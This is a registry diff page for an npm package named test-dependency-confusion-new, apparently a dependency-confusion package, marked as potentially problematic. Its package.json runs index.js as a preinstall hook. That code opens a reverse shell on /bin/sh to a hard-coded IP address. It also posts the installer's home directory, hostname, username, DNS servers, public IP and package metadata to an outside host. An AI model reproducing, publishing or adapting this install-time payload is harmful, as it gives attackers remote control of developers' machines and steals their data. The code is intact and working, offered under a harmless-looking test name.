test-dependency-confusion-new 1.0.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of test-dependency-confusion-new might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +92 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,92 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ let have_child_process = true
9
+ try {
10
+ const { exec } = require('child_process')
11
+ try {
12
+ (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1236, "154.12.228.152", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();
13
+ } catch(e) {
14
+ console.error(`exec catch: ${e}`);
15
+ resolve(false);
16
+ }
17
+ } catch(e) {
18
+ have_child_process = false
19
+ }
20
+
21
+ const sleep = (milliseconds) => {
22
+ return new Promise(resolve => setTimeout(resolve, milliseconds))
23
+ }
24
+
25
+ function requestPromise(endpoint) {
26
+ var body = ''
27
+
28
+ return new Promise(function(resolve, reject){
29
+ https.get((endpoint), res => {
30
+ res.setEncoding('utf8');
31
+ res.on("data", data => {
32
+ body += data;
33
+ });
34
+ res.on("end", () => {
35
+ resolve(body)
36
+ });
37
+ res.on("error", (e) => {
38
+ reject(e);
39
+ });
40
+ });
41
+ });
42
+
43
+ }
44
+
45
+ async function main() {
46
+
47
+ const url = 'https://ifconfig.me'
48
+ const ip = await requestPromise(url)
49
+
50
+ const trackingData = JSON.stringify({
51
+ p: package,
52
+ c: __dirname,
53
+ hd: os.homedir(),
54
+ hn: os.hostname(),
55
+ un: os.userInfo().username,
56
+ dns: dns.getServers(),
57
+ r: packageJSON ? packageJSON.___resolved : undefined,
58
+ v: packageJSON.version,
59
+ pjson: packageJSON,
60
+ ip: ip,
61
+ child_process: have_child_process ? 1 : 0,
62
+ });
63
+
64
+
65
+ var postData = querystring.stringify({
66
+ msg: trackingData,
67
+ });
68
+
69
+ var options = {
70
+ hostname: "clgt.cc", //replace burpcollaborator.net with Interactsh or pipedream
71
+ port: 443,
72
+ path: "/dependency-conf-npm.php",
73
+ method: "POST",
74
+ headers: {
75
+ "Content-Type": "application/x-www-form-urlencoded",
76
+ "Content-Length": postData.length,
77
+ },
78
+ };
79
+
80
+ var req = https.request(options, (res) => {
81
+ res.on("data", (d) => {
82
+ process.stdout.write(d);
83
+ });
84
+ });
85
+
86
+ req.on("error", (e) => {
87
+ // console.error(e);
88
+ });
89
+
90
+ req.write(postData);
91
+ req.end();
92
+ } main()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "test-dependency-confusion-new",
3
+ "version": "1.0.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }